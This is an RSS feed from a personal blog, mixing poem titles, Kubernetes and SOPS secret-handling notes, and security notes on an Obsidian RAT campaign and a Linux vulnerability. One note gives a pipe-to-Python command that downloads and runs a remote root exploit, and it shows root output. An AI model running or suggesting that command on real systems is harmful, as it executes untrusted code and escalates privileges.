<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>th0th</title><link>https://th0th.dev/</link><description>Recent content on th0th</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 11 May 2026 00:24:41 +0000</lastBuildDate><atom:link href="https://th0th.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Is your vault safe?</title><link>https://th0th.dev/notes/obsidian_security/</link><pubDate>Mon, 11 May 2026 00:24:41 +0000</pubDate><guid>https://th0th.dev/notes/obsidian_security/</guid><description>&lt;p>Ref: &lt;a href="https://cyber.netsecops.io/articles/obsidian-plugin-abused-in-campaign-to-deploy-phantom-pulse-rat/">Novel Campaign Abuses Obsidian Note-Taking App to Target Finance and Crypto Professionals with PHANTOMPULSE RAT&lt;/a>&lt;/p>
&lt;p>Is your Obsidian vault safe? note taking and knowledge management encompass many disciplines. Technology
accelerates the consumption and distribution of knowledge among others. That momentum comes with risks though.
Ones who wish to do harm to others find any way to manipulate &amp;amp; deceive for personal gain.&lt;/p>
&lt;p>The threat campaign linked above is just another example of the implicit trust that comes with the sharing of knowledge.&lt;/p></description></item><item><title>My Laptop Got Pwn'd</title><link>https://th0th.dev/notes/laptop/</link><pubDate>Mon, 04 May 2026 21:24:41 +0000</pubDate><guid>https://th0th.dev/notes/laptop/</guid><description>&lt;p>&lt;a href="https://www.youtube.com/watch?v=lkifbWtxxlk">
732 bytes of Python just borked every Linux machine on earth…&lt;/a>&lt;/p>
&lt;p>I ingest alot of news and articles each day but this video from
Fireship just seemed like another nothing burger.. well I was wrong.&lt;/p>
&lt;p>I won&amp;rsquo;t go into detail on the vulnerability but you can verify if
your Linux based systems are vulnerable by running this PoC and
reviwing the associated article for more context. &lt;a href="https://copy.fail/">CopyFail&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl https://copy.fail/exp | python3 &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> su
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ id
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uid&lt;span style="color:#f92672">=&lt;/span>0&lt;span style="color:#f92672">(&lt;/span>root&lt;span style="color:#f92672">)&lt;/span> gid&lt;span style="color:#f92672">=&lt;/span>1000&lt;span style="color:#f92672">(&lt;/span>fr3d&lt;span style="color:#f92672">)&lt;/span> groups&lt;span style="color:#f92672">=&lt;/span>1000&lt;span style="color:#f92672">(&lt;/span>fr3d&lt;span style="color:#f92672">)&lt;/span>,24&lt;span style="color:#f92672">(&lt;/span>cdrom&lt;span style="color:#f92672">)&lt;/span>,25&lt;span style="color:#f92672">(&lt;/span>floppy&lt;span style="color:#f92672">)&lt;/span>,29&lt;span style="color:#f92672">(&lt;/span>audio&lt;span style="color:#f92672">)&lt;/span>,30&lt;span style="color:#f92672">(&lt;/span>dip&lt;span style="color:#f92672">)&lt;/span>,44&lt;span style="color:#f92672">(&lt;/span>video&lt;span style="color:#f92672">)&lt;/span>,46&lt;span style="color:#f92672">(&lt;/span>plugdev&lt;span style="color:#f92672">)&lt;/span>,100&lt;span style="color:#f92672">(&lt;/span>users&lt;span style="color:#f92672">)&lt;/span>,104&lt;span style="color:#f92672">(&lt;/span>kvm&lt;span style="color:#f92672">)&lt;/span>,106&lt;span style="color:#f92672">(&lt;/span>netdev&lt;span style="color:#f92672">)&lt;/span>,111&lt;span style="color:#f92672">(&lt;/span>bluetooth&lt;span style="color:#f92672">)&lt;/span>,113&lt;span style="color:#f92672">(&lt;/span>lpadmin&lt;span style="color:#f92672">)&lt;/span>,116&lt;span style="color:#f92672">(&lt;/span>scanner&lt;span style="color:#f92672">)&lt;/span>,126&lt;span style="color:#f92672">(&lt;/span>libvirt&lt;span style="color:#f92672">)&lt;/span>,995&lt;span style="color:#f92672">(&lt;/span>docker&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Wordplay</title><link>https://th0th.dev/posts/wordplay/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/wordplay/</guid><description>Pick a letter, any letter</description></item><item><title>Create onepassword-token For k8s</title><link>https://th0th.dev/notes/202601191659/</link><pubDate>Mon, 19 Jan 2026 16:59:57 +0000</pubDate><guid>https://th0th.dev/notes/202601191659/</guid><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>k create secret generic onepassword-connect-secret &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--from-file&lt;span style="color:#f92672">=&lt;/span>./1password-credentials.json -o yaml &amp;gt; infrastructure/configs/base/onepassword-connect/1_secrets.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>kubectl create secret generic onepassword-connect-secret -n onepassword --from-literal&lt;span style="color:#f92672">=&lt;/span>1password-credentials.json&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>cat ./utils/1password-credentials.json | base64&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> --dry-run&lt;span style="color:#f92672">=&lt;/span>client -o yaml &amp;gt; infrastructure/configs/base/onepassword-connect/1_secrets.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>kubectl create secret -n external-secrets generic onepassword-token --from-literal&lt;span style="color:#f92672">=&lt;/span>token&lt;span style="color:#f92672">=&lt;/span>$OP_CONNECT_TOKEN
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Encrypt secrets with SOPS</title><link>https://th0th.dev/notes/202601152309/</link><pubDate>Thu, 15 Jan 2026 23:09:41 +0000</pubDate><guid>https://th0th.dev/notes/202601152309/</guid><description>&lt;p>Generate an age keypair and save it to &lt;code>age.agekey&lt;/code>. The public key is used for encryption; keep the private key safe — you&amp;rsquo;ll need it to decrypt.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ age-keygen -o age.agekey
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Public key: age1helqcqsh9464r8chnwc2fzj8uv7vr5ntnsft0tn45v2xtz0hpfwq98cmsg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Store the private key as a Kubernetes secret in the &lt;code>flux-system&lt;/code> namespace so Flux&amp;rsquo;s SOPS decryption provider can use it to decrypt manifests at apply time.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>cat age.agekey |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>kubectl create secret generic sops-age &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--namespace&lt;span style="color:#f92672">=&lt;/span>flux-system &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--from-file&lt;span style="color:#f92672">=&lt;/span>age.agekey&lt;span style="color:#f92672">=&lt;/span>/dev/stdin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Encrypt a Kubernetes secret YAML in-place using SOPS. Only fields matching &lt;code>data&lt;/code> or &lt;code>stringData&lt;/code> are encrypted, leaving the rest of the manifest readable.&lt;/p></description></item><item><title>Footprints in the Sand</title><link>https://th0th.dev/posts/footprints_in_the_sand/</link><pubDate>Tue, 30 Dec 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/footprints_in_the_sand/</guid><description>step into your voice</description></item><item><title>The Last Keeper</title><link>https://th0th.dev/posts/the_last_keeper/</link><pubDate>Sun, 14 Sep 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/the_last_keeper/</guid><description>There is no love without grief</description></item><item><title>Dominion</title><link>https://th0th.dev/posts/dominion/</link><pubDate>Tue, 12 Aug 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/dominion/</guid><description>Trust in submission</description></item><item><title>Words in Motion</title><link>https://th0th.dev/posts/words_in_motion/</link><pubDate>Sat, 09 Aug 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/words_in_motion/</guid><description>My words ride at dawn</description></item><item><title>Release the Rhythm</title><link>https://th0th.dev/posts/release_the_rhythm/</link><pubDate>Mon, 23 Jun 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/release_the_rhythm/</guid><description>Will you listen to your pleasure?</description></item><item><title>One Day</title><link>https://th0th.dev/posts/one_day/</link><pubDate>Wed, 21 May 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/one_day/</guid><description>Why have hope when clarity comes in clear</description></item><item><title>Roses</title><link>https://th0th.dev/posts/roses/</link><pubDate>Mon, 19 May 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/roses/</guid><description>Hold the rose, sentenced to bleed</description></item><item><title>The Sandstorm</title><link>https://th0th.dev/posts/sandstorm/</link><pubDate>Fri, 16 May 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/sandstorm/</guid><description>There is no love without grief</description></item><item><title>30 Tips for 30 Years</title><link>https://th0th.dev/posts/30_tips_for_30_years/</link><pubDate>Sun, 16 Feb 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/30_tips_for_30_years/</guid><description>I wrote this for my wife, I hope it resonates</description></item><item><title>Meditation 8 Jan 2025</title><link>https://th0th.dev/posts/meditation_20250108/</link><pubDate>Sun, 16 Feb 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/meditation_20250108/</guid><description>Theme: Nature</description></item><item><title>Valentines Day 2025</title><link>https://th0th.dev/posts/poems/</link><pubDate>Fri, 14 Feb 2025 00:00:00 +0000</pubDate><guid>https://th0th.dev/posts/poems/</guid><description>Three poems about love</description></item></channel></rss>